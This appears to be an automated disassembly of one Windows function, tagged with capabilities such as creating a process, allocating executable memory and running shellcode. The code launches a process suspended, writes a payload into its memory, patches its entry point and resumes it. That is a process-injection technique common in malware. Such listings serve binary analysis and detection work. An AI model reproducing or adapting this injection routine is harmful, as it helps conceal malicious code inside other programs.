Function at 0x1001dddd
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Resume thread

Disassembly:
push 0x588
mov eax, 0x1003bb13
call fcn.10022cff
mov dword [ebp - 0x524], edx
mov dword [ebp - 0x528], ecx
mov eax, dword [ebp + 0x1c]
mov esi, dword [ebp + 0x34]
mov ebx, dword [ebp + 0x38]
mov dword [ebp - 0x530], eax
mov dword [ebp - 4], 1
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x1001e2ad
cmp dword [ebp + 0x10], 0
je 0x1001e2ad
sub eax, dword [ebp + 0x10]
je 0x1001e2ad
xor eax, eax
lea edi, [ebp - 0x540]
stosd dword es:[edi], eax
xor ecx, ecx
push 0x2c8
push ecx
mov dword [ebp - 0x520], ecx
stosd dword es:[edi], eax
mov dword [ebp - 0x548], ecx
mov dword [ebp - 0x544], ecx
mov dword [ebp - 0x52c], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x518]
push eax
call fcn.100255c0
add esp, 0xc
mov dword [ebp - 0x51c], 0x10007
lea eax, [ebp - 0x234]
push 0x208
push 0
push eax
call fcn.100255c0
add esp, 0xc
lea eax, [ebp - 0x234]
push 0x103
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x24c]
call fcn.10012874
push 0x100437f4
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 2
call fcn.10012732
push dword [ebp - 0x528]
lea ecx, [ebp - 0x24c]
call fcn.10012732
mov edi, dword [ebp - 0x530]
test edi, edi
je 0x1001def4
push 0
push edi
lea eax, [ebp - 0x52c]
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test esi, esi
je 0x1001df02
test ebx, ebx
je 0x1001df02
and dword [esi], 0
and dword [ebx], 0
push 0x44
lea eax, [ebp - 0x594]
push 0
push eax
call fcn.100255c0
add esp, 0xc
mov dword [ebp - 0x594], 0x44
xor eax, eax
lea ecx, [ebp - 0x540]
xor edx, edx
mov word [ebp - 0x564], ax
inc edx
lea eax, [ebp - 0x24c]
cmp dword [ebp - 0x238], 8
push ecx
cmovae eax, dword [ebp - 0x24c]
lea ecx, [ebp - 0x594]
push ecx
xor ecx, ecx
mov dword [ebp - 0x568], edx
push ecx
push dword [ebp - 0x52c]
push 0x1000404
push edx
push ecx
push ecx
push dword [ebp - 0x524]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
jne 0x1001dfdb
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
push 3
pop eax
push 0x21
test edi, edi
pop ecx
cmove eax, ecx
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x520]
push dword [ebp - 0x53c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x540]
call esi
cmp dword [ebp - 0x52c], 0
je 0x1001dfcb
push dword [ebp - 0x52c]
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
and dword [ebp - 0x52c], 0
lea ecx, [ebp - 0x24c]
call fcn.1001340c
jmp 0x1001e2af
lea eax, [ebp - 0x51c]
push eax
push dword [ebp - 0x53c]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x1001e002
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 4
jmp 0x1001df8b
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x524], eax
test eax, eax
jne 0x1001e02d
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 0xf
jmp 0x1001df8b
mov ecx, dword [ebp + 0x2c]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ecx, ecx
je 0x1001e0b8
mov edx, dword [ebp + 0x28]
test edx, edx
je 0x1001e0b8
mov eax, ecx
sub eax, edx
je 0x1001e0b8
test ecx, ecx
je 0x1001e053
test edx, edx
je 0x1001e053
sub ecx, edx
jmp 0x1001e055
xor ecx, ecx
push 4
push 0x3000
lea eax, [ecx + 1]
push eax
push 0
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x1001e0b8
mov ecx, dword [ebp + 0x2c]
mov edx, dword [ebp + 0x28]
test ecx, ecx
je 0x1001e084
test edx, edx
je 0x1001e084
sub ecx, edx
jmp 0x1001e086
xor ecx, ecx
lea edi, [ebp - 0x528]
push edi
push ecx
push edx
push eax
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1001e0b8
test esi, esi
je 0x1001e0b8
test ebx, ebx
je 0x1001e0b8
mov dword [esi], 5
call edi
mov dword [ebx], eax
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x1001e0ca
cmp dword [ebp + 0x10], 0
je 0x1001e0ca
sub eax, dword [ebp + 0x10]
jmp 0x1001e0cc
xor eax, eax
push 0x40
push 0x3000
inc eax
push eax
push 0
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov dword [ebp - 0x528], ecx
test ecx, ecx
jne 0x1001e10c
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 6
call edi
jmp 0x1001df91
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
test eax, eax
je 0x1001e11e
test edx, edx
je 0x1001e11e
sub eax, edx
jmp 0x1001e120
xor eax, eax
lea edi, [ebp - 0x548]
push edi
push eax
push edx
push ecx
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1001e158
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 7
jmp 0x1001e105
mov eax, dword [ebp - 0x528]
lea ecx, [ebp - 0x28]
cdq
push edx
push eax
mov eax, dword [ebp - 0x524]
cdq
push edx
push eax
call fcn.1001dd6d
add esp, 0x10
mov dword [ebp - 0x530], eax
test eax, eax
jne 0x1001e19a
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 8
jmp 0x1001e105
lea ecx, [ebp - 0x544]
push ecx
push 0x40
push eax
push dword [ebp - 0x524]
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1001e1d5
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 9
jmp 0x1001e105
push 0
push dword [ebp - 0x530]
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x524]
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1001e212
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 0xa
jmp 0x1001e105
lea eax, [ebp - 0x544]
push eax
push 0x20
push dword [ebp - 0x530]
push dword [ebp - 0x524]
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1001e252
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 0xb
jmp 0x1001e105
push dword [ebp - 0x53c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x1001e27e
test esi, esi
je 0x1001df93
test ebx, ebx
je 0x1001df93
mov dword [esi], 0xc
jmp 0x1001e105
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x8000
push 0
push dword [ebp - 0x528]
push dword [ebp - 0x540]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ebx, dword [ebp - 0x538]
jmp 0x1001df99
xor ebx, ebx
dec dword [0x100509d8]
lea ecx, [ebp + 8]
call fcn.10005aee
dec dword [0x100509d8]
lea ecx, [ebp + 0x20]
call fcn.10005aee
mov eax, ebx
call fcn.10022cbd
ret